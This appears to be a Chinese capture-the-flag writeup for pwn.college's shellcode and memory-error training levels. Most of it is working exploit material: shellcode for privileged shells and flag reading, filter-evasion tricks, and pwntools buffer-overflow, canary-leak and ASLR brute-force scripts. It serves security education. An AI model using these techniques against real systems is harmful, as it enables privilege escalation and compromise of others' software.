前言
我通过拼搏百天,我在pwn.college拿到了蓝带——黑客、开源和CS教育的革新一文中了解到pwn.college
, 经过简单的学习发现其后半段题目有一定难度,于是总结了shellcode篇以及部分memoryerror篇的writeup。
shellcode
level 1
1:无过滤
根据前置知识,第一关就是小试牛刀了,因为什么过滤也没有,可以直接执行你输入的shellcode。
这里可以直接用上面的读取flag的easy shellcode,汇编后用objcopy提取出来指令后运行即可:
##生成二进制程序a.out
gcc -nostdlib -static 1.s
##提取机器代码b.bin
objcopy --dump-section .text=b.bin a.out
##运行挑战程序并运行shellcode:
cat b.bin | /challenge/babyshell_level1
另外可以使用python的pwntools,可以自动生成shellcode,就不需要我们自己编写了,如下:
##!/usr/bin/python
##encoding=utf-8
from pwn import *
context(arch = 'amd64' , os = 'linux')
##assembly = shellcraft.sh() ##sh的shellcode
assembly = shellcraft.cat("/flag") ##直接读取flag
assemed=asm(assembly)
sh=process(f"/challenge/{os.getenv('HOSTNAME')}")
sh.send(assemed)
sh.interactive()
通过shellcraft读取flag的方式有好几种,如下:
其他讲解还得看人家官方文档:http://docs.pwntools.com/en/stable/shellcraft/amd64.html
##直接调用cat读取,它的利用是open()->sendfileto():
shellcraft.cat("/flag")
##用open、read、write:
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
直接执行sh后没有root权限也不能读/flag,需要加-p参数。
想要进行交互时shell运行程序还需要cat在读取完文件后,还需要读取输入,所以需要这样执行:
cat 1.bin - | /challenge/babyshell_level*
shellcraft.sh()生成的shellcode如下:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
我觉得更好用的还是push相关的函数如shellcraft.pushstr()
,可以自动生成push进栈的汇编代码,我们执行后直接利用rsp的值就可以传参了,如下:
还有一个是shellcraft.pushstr_array()
,这个更好用,直接能把字符串序列推入栈,还能自动把字符串地址放入指定的寄存器,两个参数,第一个是寄存器,第二个是字符串序列,如下:
>>> print(shellcraft.pushstr(b'/bin/sh'))
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
>>> print(shellcraft.pushstr_array("rsi",["sh","-p"]))
/* push argument array ['sh\x00', '-p\x00'] */
/* push b'sh\x00-p\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x702d006873
xor [rsp], rax
xor esi, esi /* 0 */
push rsi /* null terminate */
push 0xb
pop rsi
add rsi, rsp
push rsi /* '-p\x00' */
push 0x10
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
所以我们可以把上面的sh代码改一下,改成加上-p
参数的,这样我们就可以使用euid=0的权限了,nice!:
(后来发现可以直接用shellcraft.execve('sh',['sh','-p'])
来生成)
/* execve(path='/bin///sh', argv=['sh','-p'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00', '-p\x00'] */
/* push b'sh\x00-p\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x702d006873
xor [rsp], rax
xor esi, esi /* 0 */
push rsi /* null terminate */
push 0xb
pop rsi
add rsi, rsp
push rsi /* '-p\x00' */
push 0x10
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
nop sled
用nop跳过,可以应对随机丢失的问题。
在 GAS 中,您可以使用 .rept
和 .endr
指令来创建重复的指令。
.intel_syntax noprefix
.global _start
.text
_start:
.rept 0x800
nop
.endr
## 将 "/flag" 推入栈
mov rax, 0x67616c662f ## "/flag" 的 ASCII 码
push rax ## 将 "/flag" 压入栈
## 执行系统调用 open("/flag", O_RDONLY)
mov rax, 2 ## 系统调用号:2 (open)
mov rdi, rsp ## 第一个参数:指向栈顶的指针(即 "/flag")
xor rsi, rsi ## 第二个参数:0 (O_RDONLY)
syscall ## 执行系统调用 open
## 使用 sendfile 将文件内容发送到 stdout
mov rdi, 1 ## 第一个参数:stdout 文件描述符
mov rsi, rax ## 第二个参数:open 返回的文件描述符
xor rdx, rdx ## 第三个参数:文件内的起始偏移
mov r10, 1000 ## 第四个参数:传输的字节数
mov rax, 40 ## 系统调用号:40 (sendfile)
syscall ## 执行系统调用 sendfile
## 退出
mov rax, 60 ## 系统调用号:60 (exit)
xor rdi, rdi ## 第一个参数:退出状态码 0
syscall ## 执行系统调用 exit
level 3
机器码中不能出现00,因此不能用.string 可以考虑利用寄存器拼接
xor rax, rax ## 清零 rax 寄存器
mov al, 0x67 ## 将 al (rax 的低8位) 设置为 0x67 ('g')
shl rax, 0x20 ## 将 rax 左移 32 位,将 'g' 放到 rax 的高32位
xor rbx, rbx ## 清零 rbx 寄存器
mov ebx, 0x616c662f ## 将 ebx 设置为 0x616c662f ('/flag' 的 ASCII 值,倒序)
add rbx, rax ## 将 rax 加到 rbx,组合成整个字符串 '/flag' 存储于 rbx
push rbx ## 将 '/flag' 推入栈
xor rax, rax ## 清零 rax 寄存器
mov al, 2 ## 设置系统调用号为 2 (sys_open)
mov rdi, rsp ## 设置 rdi 为栈顶地址,即 "/flag" 字符串的地址
xor rsi, rsi ## 设置 rsi 为 0,表示打开文件的标志为 O_RDONLY
syscall ## 执行系统调用 (open)
xor rdi, rdi ## 清零 rdi 寄存器
inc rdi ## rdi 增加 1,设置为 1 (标准输出)
mov rsi, rax ## 将上一次调用 open 的返回值(文件描述符)移动到 rsi
xor rdx, rdx ## 清零 rdx 寄存器,设置偏移为 0
xor rax, rax ## 清零 rax 寄存器
mov al, 0xff ## 将 al 设置为 0xff (255),尝试发送 255 字节,这里是一个误差
mov r10, rax ## 将 rax 的值移动到 r10,即 r10 也是 255
xor rax, rax ## 再次清零 rax 寄存器
mov al, 0x28 ## 设置系统调用号为 40 (sys_sendfile)
syscall ## 执行系统调用 (sendfile)
xor rax, rax ## 清零 rax 寄存器
mov al, 0x3c ## 设置系统调用号为 60 (sys_exit)
syscall ## 执行系统调用 (exit)
这里
xor rdi, rdi ## 清零 rdi 寄存器
inc rdi ## rdi 增加 1,设置为 1 (标准输出)
可以避免出0
另外用
mov al, 0xff ## 将 al 设置为 0xff (255),尝试发送 255 字节,这里是一个误差
objdump -d -M intel shellcode
可以单独操作一个字节
Address | Bytes | Instructions
------------------------------------------------------------------------------------------
0x000000001b3f0000 | 48 31 c0 | xor rax, rax
0x000000001b3f0003 | b0 67 | mov al, 0x67
0x000000001b3f0005 | 48 c1 e0 20 | shl rax, 0x20
0x000000001b3f0009 | 48 31 db | xor rbx, rbx
0x000000001b3f000c | bb 2f 66 6c 61 | mov ebx, 0x616c662f
0x000000001b3f0011 | 48 01 c3 | add rbx, rax
0x000000001b3f0014 | 53 | push rbx
0x000000001b3f0015 | 48 31 c0 | xor rax, rax
0x000000001b3f0018 | b0 02 | mov al, 2
0x000000001b3f001a | 48 89 e7 | mov rdi, rsp
0x000000001b3f001d | 48 31 f6 | xor rsi, rsi
0x000000001b3f0020 | 0f 05 | syscall
0x000000001b3f0022 | 48 31 ff | xor rdi, rdi
0x000000001b3f0025 | 48 ff c7 | inc rdi
0x000000001b3f0028 | 48 89 c6 | mov rsi, rax
0x000000001b3f002b | 48 31 d2 | xor rdx, rdx
0x000000001b3f002e | 48 31 c0 | xor rax, rax
0x000000001b3f0031 | b0 ff | mov al, 0xff
0x000000001b3f0033 | 49 89 c2 | mov r10, rax
0x000000001b3f0036 | 48 31 c0 | xor rax, rax
0x000000001b3f0039 | b0 28 | mov al, 0x28
0x000000001b3f003b | 0f 05 | syscall
0x000000001b3f003d | 48 31 c0 | xor rax, rax
0x000000001b3f0040 | b0 3c | mov al, 0x3c
0x000000001b3f0042 | 0f 05 | syscall
Executing shellcode!
pwn.college{sQ-O07u1QVqVaMssM9AiroI4xOg.0VOxIDL3IDNyUzW}
不同byte大小的寄存器
在x86-64架构中,寄存器有不同的大小和对应的名称,可以用来在汇编语言中进行不同长度数据的操作。这些寄存器可以操作从一个字节到八个字节的数据。以下是一些常用寄存器的不同大小及其对应的汇编语言操作示例:
1. 一个字节的操作
对于单字节操作,我们通常使用寄存器的最低字节,例如 AL
, BL
, CL
, DL
(这些是更大寄存器的低8位):
assemblyCopy code
mov al, 0x1F ; 将单字节值0x1F移入AL
2. 两个字节的操作
对于两字节(16位)的操作,可以使用如 AX
, BX
, CX
, DX
等寄存器:
assemblyCopy code
mov ax, 0x1F1F ; 将两字节值0x1F1F移入AX
3. 四个字节的操作
对于四字节(32位)的操作,使用的寄存器扩展到 EAX
, EBX
, ECX
, EDX
:
assemblyCopy code
mov eax, 0x1F1F1F1F ; 将四字节值0x1F1F1F1F移入EAX
4. 八个字节的操作
在x86-64架构中,可以直接操作整个64位的寄存器,如 RAX
, RBX
, RCX
, RDX
:
assemblyCopy code
mov rax, 0x1F1F1F1F1F1F1F1F ; 将八字节值0x1F1F1F1F1F1F1F1F移入RAX
section .text
global _start
_start:
xor eax, eax ; 清零EAX
mov al, 0xFF ; AL是EAX的低8位
mov ax, 0xFFFF ; AX是EAX的低16位
mov eax, 0xFFFFFFFF ; EAX是32位
mov rax, 0xFFFFFFFFFFFFFFFF ; RAX是64位
...
level 4
不让机器码出现 H
,不让用H就是说不能用64位的mov及相关的xor, or, shl指令,但是可以用32位指令,而且push和pop到rax不影响。
可以考虑
push rsp
pop rdi
相当于
mov rdi,rsp
.intel_syntax noprefix
.global _start
.text
_start:
push 0x68 ##push b'/bin/sh\x00'
push 0x6e69622f
mov dword ptr [rsp+4], 0x732f2f2f
push rsp
pop rdi
push 0x2d006873 ## -h
mov dword ptr [rsp+4],0x70 ## p push argument array ['sh\x00', '-p\x00']
xor esi,esi
push rsi ## null ## 参数数组结束
push rsp
add dword ptr [rsp], 0xb ## /sh\x00
push rsp
add dword ptr [rsp],0x10 ## -p \x00
push rsp
pop rsi
xor edx,edx
push 0x3b ## execve
pop rax
syscall
弹一个shell
(cat b.bin ; cat ) | babyshell_level4
这段命令中,(cat b.bin; cat)
是一个子shell,它执行了两个命令并将它们组合在一起。
cat b.bin
:这个命令将文件b.bin
的内容输出到标准输出。cat
:这个命令等待用户的输入,并将它输出到标准输出。
level 5(过滤syscall)
过滤了syscall等原语
不让在代码中出现syscall等原语,如下要求:
This challenge requires that your shellcode does not have any `syscall`, 'sysenter', or `int` instructions. System calls are too dangerous! This filter works by scanning through the shellcode for the following byte sequences: 0f05(`syscall`), 0f34 (`sysenter`), and 80cd (`int`). One way to evade this is to have your shellcode modify itself to insert the `syscall` instructions at runtime.
想着不让我用0x050f,那我就先弄进去个0x050e然后再inc就是syscall了,这时候再jmp过去即可,因为数据其实就是指令,前面都是用的栈操作,有点习惯这么用了,所以就直接这样写个代码:
.intel_syntax noprefix
.global _start
.text
_start:
/* push b'/bin///sh\x00' */
push 0x68 // 将字母 'h' 的 ASCII 码(0x68)推入栈顶,作为字符串 "/bin///sh" 的第一个字符 'h'。
mov rax, 0x732f2f2f6e69622f // 将字符串 "/bin///sh" 的 ASCII 码(每个字符用一个字节表示)赋值给 rax 寄存器。
push rax // 将字符串 "/bin///sh" 的 ASCII 码依次推入栈顶,形成字符串 "/bin///sh\x00"。
/* push argument array ['sh\x00', '-p\x00'] */
mov rax, 0x101010101010101 // 将一个任意的值(在这里是 0x101010101010101)赋值给 rax 寄存器。
push rax // 将 rax 寄存器的值推入栈顶,作为参数数组的结束标志。
mov rax, 0x101010101010101 ^ 0x702d006873 // 计算参数数组的第一个参数 'sh\x00' 的 ASCII 码。
xor [rsp], rax // 将栈顶的值(即参数数组的结束标志)与参数 'sh\x00' 的 ASCII 码异或后再放回栈顶,得到参数 'sh\x00'。
xor esi, esi // 将 esi 寄存器清零,用作参数数组的结束标志。
push rsi // 将 esi 寄存器的值(即0)推入栈顶,作为参数数组的结束标志。
push 0xb // 将 0xb(即11)推入栈顶,表示参数数组的大小。
pop rsi // 将栈顶的值(即参数数组的大小)移入 rsi 寄存器。
add rsi, rsp // 将 rsi 寄存器加上当前栈顶的地址,即得到参数数组的地址。
push rsi // 将参数数组的地址推入栈顶,作为参数数组的起始地址。
push 0x10 // 将 0x10(即16)推入栈顶,表示参数数组的大小。
pop rsi // 将栈顶的值(即参数数组的大小)移入 rsi 寄存器。
add rsi, rsp // 将 rsi 寄存器加上当前栈顶的地址,即得到参数数组的地址。
push rsi // 将参数数组的地址推入栈顶,作为参数数组的起始地址。
mov rsi, rsp // 将参数数组的地址移入 rsi 寄存器,作为 execve 的第二个参数,即参数数组。
xor edx, edx // 将 edx 寄存器清零,准备用作环境数组 envp,因为环境数组为空。
/* call execve() */
push 0x3b // 将 0x3b(即59)推入栈顶,作为 execve 系统调用号。
pop rax // 将栈顶的值移入 rax 寄存器,即将 59 移入 rax 作为系统调用号。
push 0x050e // 将 0x050e 推入栈顶,表示 execve 的参数个数(即参数数组的大小)。
inc qword ptr [rsp] // 将栈顶的值(即参数数组的大小)加一。
jmp rsp // 跳转到栈顶所指向的地址执行。
nop // 占位符指令,不做任何操作。
level 7
把标准输出和标准错误输出禁止了
chmod("/flag",4)
## 设置为只读
shellcode
.intel_syntax noprefix
.global _start
.text
_start:
## 将文件路径压入栈
mov rax, 0x0067616c662f ## 小端模式下的字符串 "/flag" (不含NULL终结符)
push rax ## 压入栈中
## 准备系统调用参数
mov rdi, rsp ## rdi是第一个参数,文件路径:从栈顶获取路径
mov rsi, 4 ## rsi是第二个参数,权限值:设置为4
mov rax, 0x5a ## rax是系统调用号,90 (0x5a) 是chmod的调用号
syscall ## 执行系统调用
## 清理栈
add rsp, 8 ## 移除栈上的路径
## 退出程序
mov rax, 60 ## 系统调用号60是exit
xor rdi, rdi ## 退出码0
syscall ## 执行系统调用
level 8
Write and execute shellcode to read the flag, but you only get 18 bytes.
只有18bytes的空间,
其实直接用上一问的就行 去掉后面的清理栈和退出程序的代码
考虑到
execve('c')
我们可以写一个脚本
// catflag.c
void main()
{
system("cat /flag")
}
mov al, 0x3b
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
或者直接用
0000000000001000 <_start>:
1000: 68 66 6c 61 67 push 0x67616c66
1005: 54 push rsp
1006: 5f pop rdi
1007: 40 b6 04 mov sil,0x4
100a: b0 5a mov al,0x5a
100c: 0f 05 syscall
level 9
每隔10字节就会用10个中断替换,用循环跳过就行了。
push 0x63
mov rdi, rsp
xor esi, esi
cdq
jmp next
%rep 10
nop
%endrep
next:
mov al,0x3b
syscall
- 将**
0x63
压入堆栈,即将字符c
**的ASCII码值压入堆栈。 - 将堆栈指针(rsp)的值存储到rdi寄存器中,即将字符**
c
**的ASCII码值的地址存储到rdi寄存器中。 - 将esi寄存器清零,为后续的系统调用做准备。
- 使用**
cdq
**指令将rax寄存器(64位)的内容符号扩展到rdx寄存器中(rdx的值为0)。 - 使用**
jmp next
指令跳转到next
**标签处。 - 使用**
%rept 10
宏指令和%endrep
结束宏指令,重复10次填充nop
**指令,以保证每隔10字节的位置不受影响。 - 标签**
next
**处开始执行后续指令。 - 将系统调用号**
0x3b
**(execve系统调用号)存储到al寄存器中。 - 调用syscall指令触发系统调用,执行execve系统调用。
扩展指令 cdq
扩展指令cdq
,这个指令的作用是将eax的最高位即31位赋值给edx的每一位,这个指令一般是在32位系统中除法前使用的,就是让edx作为eax的高位组合成64位的数字,让符号统一
这条指令只有1字节,用它一般就能代替xor edx, edx
这条指令了,便又节省1字节,那么这个shellcode也能剪短到12字节,和上面一样:
level 10
排序了 其实就是大端序
没什么必要 继续shellcode执行c语言
level 11
依然是排序了 然后不让用stdin
问题不大 依然是level8的链接了c脚本的代码
level 12
This challenge requires that every byte in your shellcode is unique!
乐了
push 0x61
mov rdi, rsp
xor esi, esi
cdq
mov al,0x3b
syscall
level 13
只有12个bytes
同样
level 14
Write and execute shellcode to read the flag, but this time you only get 6 bytes :)
用gdb调试 断在执行shellcode前
2: x/20i $pc
=> 0x55cec213b7ca <main+611>: call rdx
0x55cec213b7cc <main+613>: mov eax,0x0
0x55cec213b7d1 <main+618>: leave
0x55cec213b7d2 <main+619>: ret
0x55cec213b7d3: nop WORD PTR cs:[rax+rax*1+0x0]
0x55cec213b7dd: nop DWORD PTR [rax]
0x55cec213b7e0 <__libc_csu_init>: endbr64
0x55cec213b7e4 <__libc_csu_init+4>: push r15
0x55cec213b7e6 <__libc_csu_init+6>: lea r15,[rip+0x255b] ## 0x55cec213dd48
0x55cec213b7ed <__libc_csu_init+13>: push r14
0x55cec213b7ef <__libc_csu_init+15>: mov r14,rdx
0x55cec213b7f2 <__libc_csu_init+18>: push r13
0x55cec213b7f4 <__libc_csu_init+20>: mov r13,rsi
0x55cec213b7f7 <__libc_csu_init+23>: push r12
0x55cec213b7f9 <__libc_csu_init+25>: mov r12d,edi
0x55cec213b7fc <__libc_csu_init+28>: push rbp
0x55cec213b7fd <__libc_csu_init+29>: lea rbp,[rip+0x254c] ## 0x55cec213dd50
0x55cec213b804 <__libc_csu_init+36>: push rbx
0x55cec213b805 <__libc_csu_init+37>: sub rbp,r15
0x55cec213b808 <__libc_csu_init+40>: sub rsp,0x8
(gdb) info registers
rax 0x0 0
rbx 0x55cec213b7e0 94346507696096
rcx 0x7fb904beb077 140432625283191
rdx 0x22ef2000 586096640
rsi 0x55cec2eb42a0 94346521821856
rdi 0x7fb904ccb7e0 140432626202592
rbp 0x7ffd22e32530 0x7ffd22e32530
rsp 0x7ffd22e324f0 0x7ffd22e324f0
r8 0x16 22
r9 0x3 3
r10 0x55cec213c105 94346507698437
r11 0x246 582
r12 0x55cec213b1e0 94346507694560
r13 0x7ffd22e32620 140725188765216
r14 0x0 0
r15 0x0 0
rip 0x55cec213b7ca 0x55cec213b7ca <main+611>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
在运行shellcode之前,rax = 0; rdx = 0x22ef2000
,rdx
的值正好是可以布置shellcode的地址。利用
xchg esi, edx
xor edi, edi
syscall
实现read(0, shellcode_mem, length)
,然后利用read
再次读入shellcode
因为写地址在0x2e15e000是程序开始的地方,而read函数运行时rip已经到6字节后的地方了,所以前面要放上一些nop以覆盖前面的指令,所以差不多就是这个样子
.rept 0x20
nop
.endr
execve("/bin/sh",["sh","-p"])
.intel_syntax noprefix
.global _start
.text
_start:
.rept 0x20
nop
.endr
## 将 "/flag" 推入栈
mov rax, 0x67616c662f ## "/flag" 的 ASCII 码
push rax ## 将 "/flag" 压入栈
## 执行系统调用 open("/flag", O_RDONLY)
mov rax, 2 ## 系统调用号:2 (open)
mov rdi, rsp ## 第一个参数:指向栈顶的指针(即 "/flag")
xor rsi, rsi ## 第二个参数:0 (O_RDONLY)
syscall ## 执行系统调用 open
## 使用 sendfile 将文件内容发送到 stdout
mov rdi, 1 ## 第一个参数:stdout 文件描述符
mov rsi, rax ## 第二个参数:open 返回的文件描述符
xor rdx, rdx ## 第三个参数:文件内的起始偏移
mov r10, 1000 ## 第四个参数:传输的字节数
mov rax, 40 ## 系统调用号:40 (sendfile)
syscall ## 执行系统调用 sendfile
## 退出
mov rax, 60 ## 系统调用号:60 (exit)
xor rdi, rdi ## 第一个参数:退出状态码 0
syscall ## 执行系统调用 exit
一些神必总结
- nop sled
nop (0x90) 程序计数器+1,可以应对level2中的随机丢失
- 寄存器拼接参数
mov al shl 8等等拼接寄存器
- push pop 代替mov
- 凑字
/bin///sh 可以凑八个Byte
- chmod 给一个文件 4权限(读)可以绕过permission denied
- 可以自己写一个c语言脚本,然后execve(c)
memoryError
利用补码做无符号整数溢出
-1 变为Tmin
或者
import pwn
r = pwn.process("/challenge/babymem_level5.0")
r.sendline("2")
r.sendline("2147483648")
r.sendline(b'\x00' * 88 + b'\x64\x21\x40\x00\x00\x00\x00\x00')
level 7
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal =['tmux','splitw','-h']
table = []
for i in range(0,0x10):
table.append(i)
# for i in range(0x0,0xf):
# try:
# p = process("/challenge/babymem_level7.0")
# p.recvuntil("size:")
# p.sendline("200")
# payload = b'a'*0x78 + b'\x56\x22' + bytes([i])
# p.sendlineafter(b"bytes)!", payload)
# s = p.recv()
# if b'pwn.college' in s:
# correct_byte = i
# found = True
# print(f"Success with byte: {hex(i)}")
# break
# except Exception as e:
# print(f"Failed at byte {hex(i)} with error {str(e)}")
# finally:
# p.close()
# while 1:
# higher_byte = random.choice(table) << 4
# success(hex(higher_byte))
# guess = bytes([higher_byte | 0x2])
# payload = b'a'*0x78 + b'\x3a' + guess
# p = process("/challenge/babymem_level7.0")
# p.recvuntil("size:")
# p.sendline(str(len(payload)))
# p.sendlineafter(b"bytes)!", payload)
# # p.interactive()
# result = p.recv()
# if b'pwn.college' in result:
# p.recvline()
# break
while 1:
higher_byte = 0xf << 4
success(hex(higher_byte))
guess = bytes([higher_byte | 0x2])
payload = b'a'*0x78 + b'\x5d' + guess
p = process("/challenge/babymem_level7.0")
p.recvuntil("size:")
p.sendline(str(len(payload)))
p.sendlineafter(b"bytes)!", payload)
p.interactive()
# 0x7ffe4ddb47e8 winvalue
# 0x7ffe4ddb47c0
# 256
开了PIE(ASLR) ,页码的对齐机制会保证他最后三位是一样的,因此我们需要猜第四位,固定为f开始反复运行 直至猜对为止
higher_byte = 0xf << 4
success(hex(higher_byte))
guess = higher_byte | 0x2
guess = guess << 8
guess = guess | 0x5d
payload = b'a'*0x78 + p16(guess)
或者这样拼接也可以
level 8
开ASLR
但是由于linux的内存机制 低三位不变 因此爆破第四位
p8() 一个byte 小端
p16() 一个 word 小端
level 11
mmap函数
mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。
Linux 内存映射函数 mmap()函数详解 - 知乎 (zhihu.com)
内存映射,简而言之就是将用户空间的一段内存区域映射到内核空间,映射成功后,用户对这段内存区域的修改可以直接反映到内核空间,同样,内核空间对这段区域的修改也直接反映用户空间。那么对于内核空间<—->用户空间两者之间需要大量数据传输等操作的话效率是非常高的。
以下是一个把普遍文件映射到用户空间的内存区域的示意图。
图一:
level 12
这个题有一个后门
需要将buf中有字符串REPEAT
然后会重新运行challenge,我们可以先leak一下canary 然后再改返回地址 由于开了ASLR 因此需要多重试几次
from pwn import *
context.arch = 'amd64'
while 1:
p = process("/challenge/babymem_level12.0")
# context.log_level="debug"
# context.terminal =['tmux','splitw','-h']
payload = payload1 = b'REPEAT' + b'a'*(0x58-len(b'REPEAT')) + b'b'
size = len(payload)
length = str(len(payload)).encode()
p.sendlineafter("size:",length)
p.sendlineafter("bytes)!",payload)
p.recvuntil("You said:")
ret = p.recvuntil("Backdoor")
# p.recvall()
canary = b'\x00' + ret[size + 1:size+8] # 找到canary
success(f"canaray: {canary}")
payload = b'a' * 0x58 + canary + b'a' * 8 + p8(0xfc) + p8(0x21)
length = str(len(payload)).encode()
p.sendlineafter("size:",length)
# gdb.attach(p)
p.sendlineafter("bytes)!",payload)
result = p.recvall()
if b"}" in result:
success(result)
break
# payload =
# p.sendlineafter("size:",length)
# p.interactive()